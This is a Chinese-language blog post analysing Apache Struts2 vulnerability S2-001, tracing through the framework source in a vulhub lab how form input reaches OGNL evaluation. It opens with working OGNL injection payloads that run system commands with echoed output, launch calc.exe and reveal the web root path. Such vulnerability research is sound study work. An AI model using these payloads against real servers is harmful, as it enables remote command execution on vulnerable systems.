• Java安全之S2001漏洞分析


    Java安全之S2-001漏洞分析

    前言

    好久没更新Java相关内容了,最近身体出了些小问题等各种原因导致有些时候无法沉心学习。忙里偷闲,炒个冷饭。

    POC采集

    回显poc

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

    调试poc:

    %{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc.exe"})).start()}
    

    获取web路径

    %{
    #req=@org.apache.struts2.ServletActionContext@getRequest(),
    #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
    #response.println(#req.getRealPath('/')),
    #response.flush(),
    #response.close()
    }
    

    漏洞分析

    漏洞环境:https://github.com/vulhub/vulhub/tree/master/struts2/s2-001

    直接来看到漏洞点

    <package name="S2-001" extends="struts-default">
       <action name="login" class="com.demo.action.LoginAction">
          <result name="success">/welcome.jsp</result>
          <result name="error">/index.jsp</result>
       </action>
    </package>
    

    这里这个package继承了struts-default包,struts-default.xml是Struts 2 框架的基础配置文件,为框架提供默认设置,这个文件包含在Struts2-core.jar中,由框架自动加载。

    在web.xml中会配置

    <filter>
            <filter-name>struts2</filter-name>
            <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
        </filter>
            <filter-mapping>
            <filter-name>struts2</filter-name>
            <url-pattern>/*</url-pattern>
        </filter-mapping>
    

    org.apache.struts2.dispatcher.FilterDispatcher#doFilter调用this.dispatcher.serviceAction(request, response, servletContext, mapping);

    serviceAction方法

    image-20220418231512622

    获取struts.xml的配置信息

    image-20220418231809616

    使用获取到的信息传入config.getContainer().getInstance(ActionProxyFactory.class)).createActionProxy进行创建action代理类

    随后调用proxy.execute();进行执行

    public String execute() throws Exception {
        ActionContext previous = ActionContext.getContext();
        ActionContext.setContext(this.invocation.getInvocationContext());
    
        String var2;
        try {
            var2 = this.invocation.invoke();
        } finally {
            if (this.cleanupContext) {
                ActionContext.setContext(previous);
            }
    
        }
    
        return var2;
    }
    

    execute方法中调用this.invocation.invoke();,即调用前面获取到的action代理类的invoke方法。

    遍历this.interceptors,即struts-default.xml 中配置的interceptors。

    image-20220418233010716

    这里会遍历调用interceptors里面的doIntercept方法。

    漏洞在ParametersInterceptor中,ParametersInterceptor拦截器会将接收到的请求数据设置到valueStack里,后面在jsp中会从valueStack中获取数据

    image-20220418225101157

    直接来到ParametersInterceptor#doIntercept方法中。

    public String doIntercept(ActionInvocation invocation) throws Exception {
            Object action = invocation.getAction();
            if (!(action instanceof NoParameters)) {
                ActionContext ac = invocation.getInvocationContext();
                Map parameters = ac.getParameters();
                if (LOG.isDebugEnabled()) {
                    LOG.debug("Setting params " + this.getParameterLogMap(parameters));
                }
    
                if (parameters != null) {
                    Map contextMap = ac.getContextMap();
    
                    try {
                        OgnlContextState.setCreatingNullObjects(contextMap, true);
                        OgnlContextState.setDenyMethodExecution(contextMap, true);
                        OgnlContextState.setReportingConversionErrors(contextMap, true);
                        ValueStack stack = ac.getValueStack();
                        this.setParameters(action, stack, parameters);
    
    

    前面获取一些系列的action、参数和context等。

    然后调用this.setParameters

    protected void setParameters(Object action, ValueStack stack, Map parameters) {
            ParameterNameAware parameterNameAware = action instanceof ParameterNameAware ? (ParameterNameAware)action : null;
            Map params = null;
            if (this.ordered) {
                params = new TreeMap(this.getOrderedComparator());
                params.putAll(parameters);
            } else {
                params = new TreeMap(parameters);
            }
    
            Iterator iterator = params.entrySet().iterator();
    
            while(true) {
                Map.Entry entry;
                String name;
                boolean acceptableName;
                do {
                    if (!iterator.hasNext()) {
                        return;
                    }
    
                    entry = (Map.Entry)iterator.next();
                    name = entry.getKey().toString();
                    acceptableName = this.acceptableName(name) && (parameterNameAware == null || parameterNameAware.acceptableParameterName(name));
                } while(!acceptableName);
    
                Object value = entry.getValue();
    
                try {
                    stack.setValue(name, value);
    

    遍历获取到参数的Map,调用stack.setValue(name, value);

    image-20220418233947792

    所有的interceptors遍历完了过后,执行this.invokeActionOnly();

    image-20220419001752600

    DefaultActionInvocation#invokeAction()方法会反射调用action中的execute方法

    image-20220419002006167

    image-20220419002151306

    执行回到invoke方法中,接着调用this.proxy.getExecuteResult()这个action是否有执行结果,然后调用this.executeResult();

    image-20220419000419339

    这里会对action的execute结果进行处理,在struts2中会配置

    	<package name="S2-001" extends="struts-default">
    		<action name="login" class="com.demo.action.LoginAction">
    			<result name="success">/welcome.jsp</result>
    			<result name="error">/index.jsp</result>
    		</action>
    	</package>
    

    对执行返回success或error进行跳转到对应的jsp

    image-20220419003312339

    调用this.result.execute(this);

     public void execute(ActionInvocation invocation) throws Exception {
            this.lastFinalLocation = this.conditionalParse(this.location, invocation);
            this.doExecute(this.lastFinalLocation, invocation);
        }
    

    调用this.doExecute(this.lastFinalLocation, invocation);

    image-20220419003529567

    后面这里会调用dispatcher.forward(request, response);进行转发

    org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag中下断点,该方法会解析jsp中的struts标签。

    <s:form action="login">
    	<s:textfield name="username" label="username" />
    	<s:textfield name="password" label="password" />
    	<s:submit></s:submit>
    </s:form>
    

    第一次解析form标签

    image-20220419004251958

    第二次解析username标签

    image-20220419004458727

    执行完成后走到doEndTag方法

    public int doEndTag() throws JspException {
            this.component.end(this.pageContext.getOut(), this.getBody());
            this.component = null;
            return 6;
        }
    
    public boolean end(Writer writer, String body) {
            this.evaluateParams();
    
            try {
                super.end(writer, body, false);
                this.mergeTemplate(writer, this.buildTemplateName(this.template, this.getDefaultTemplate()));
            } catch (Exception var7) {
                LOG.error("error when rendering", var7);
            } finally {
                this.popComponentStack();
            }
    
            return false;
        }
    

    调用 this.evaluateParams();

    public void evaluateParams() {
        this.addParameter("templateDir", this.getTemplateDir());
        this.addParameter("theme", this.getTheme());
        String name = null;
        if (this.key != null) {
            if (this.name == null) {
                this.name = this.key;
            }
    
            if (this.label == null) {
                this.label = "%{getText('" + this.key + "')}";
            }
        }
    
        if (this.name != null) {
            name = this.findString(this.name);
            this.addParameter("name", name);
        }
    

    image-20220419005810064

    image-20220419005635557

    org.apache.struts2.components#UIBean最下面有行代码

    if (this.altSyntax()) {
        expr = "%{" + name + "}";
    }
    

    如果this.altSyntax(),则拼接%{},这里this.altSyntax()是检查ongl表达式是否开启,开启的话拼接%{}直接使用表达式

    image-20220419010408037

    在第一遍执行的时候会expr为%username%会获取到我们username中对应的值。这里即表达式内容。

    image-20220420004528033

    当第二次执行到OgnlUtil.getValue(expr, this.context, this.root, asType);进行代码执行。

    image-20220419011623060

    image-20220418234200573

    OgnlUtil.getValue方法的底层代码是用的Ognl.getValue

    调用栈:

    setParameters:193, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
    doIntercept:159, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
    intercept:86, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
    doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
    invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
    intercept:105, StaticParametersInterceptor (com.opensymphony.xwork2.interceptor)
    doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
    invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
    intercept:83, CheckboxInterceptor (org.apache.struts2.interceptor)
    doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
    invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
    intercept:207, FileUploadInterceptor (org.apache.struts2.interceptor)
    doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
    invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
    intercept:74, ModelDrivenInterceptor (com.opensymphony.xwork2.interceptor)
    doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
    invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
    intercept:127, ScopedModelDrivenInterceptor (com.opensymphony.xwork2.interceptor)
    doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
    invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
    intercept:107, ProfilingActivationInterceptor (org.apache.struts2.interceptor)
    doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
    invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
    intercept:206, DebuggingInterceptor (org.apache.struts2.interceptor.debugging)
    doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
    invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
    intercept:115, ChainingInterceptor (com.opensymphony.xwork2.interceptor)
    doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
    invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
    intercept:143, I18nInterceptor (com.opensymphony.xwork2.interceptor)
    doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
    invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
    doIntercept:121, PrepareInterceptor (com.opensymphony.xwork2.interceptor)
    intercept:86, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
    doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
    invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
    intercept:170, ServletConfigInterceptor (org.apache.struts2.interceptor)
    doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
    invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
    intercept:123, AliasInterceptor (com.opensymphony.xwork2.interceptor)
    doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
    invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
    intercept:176, ExceptionMappingInterceptor (com.opensymphony.xwork2.interceptor)
    doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
    profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
    invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
    execute:50, StrutsActionProxy (org.apache.struts2.impl)
    serviceAction:504, Dispatcher (org.apache.struts2.dispatcher)
    doFilter:419, FilterDispatcher (org.apache.struts2.dispatcher)
    internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
    doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
    invoke:197, StandardWrapperValve (org.apache.catalina.core)
    invoke:97, StandardContextValve (org.apache.catalina.core)
    invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
    invoke:135, StandardHostValve (org.apache.catalina.core)
    invoke:92, ErrorReportValve (org.apache.catalina.valves)
    invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
    invoke:78, StandardEngineValve (org.apache.catalina.core)
    service:367, CoyoteAdapter (org.apache.catalina.connector)
    service:639, Http11Processor (org.apache.coyote.http11)
    process:65, AbstractProcessorLight (org.apache.coyote)
    process:882, AbstractProtocol$ConnectionHandler (org.apache.coyote)
    doRun:1647, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
    run:49, SocketProcessorBase (org.apache.tomcat.util.net)
    runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
    run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
    run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
    run:748, Thread (java.lang)
    

    结尾

    注意多喝热水,以防肾结石。

  • 相关阅读:
    第04组 Beta冲刺 (3/5)
    第04组 Beta冲刺 (2/5)
    第04组 Beta冲刺 (1/5)
    软工实践个人总结
    第09组 每周小结(3/3)
    第09组 每周小结(2/3)
    第09组 每周小结(1/3)
    第09组 Beta冲刺 总结
    第09组 Beta冲刺 (5/5)
    第09组 Beta冲刺 (4/5)
  • 原文地址:https://www.cnblogs.com/nice0e3/p/16197395.html
Copyright © 2020-2023  润新知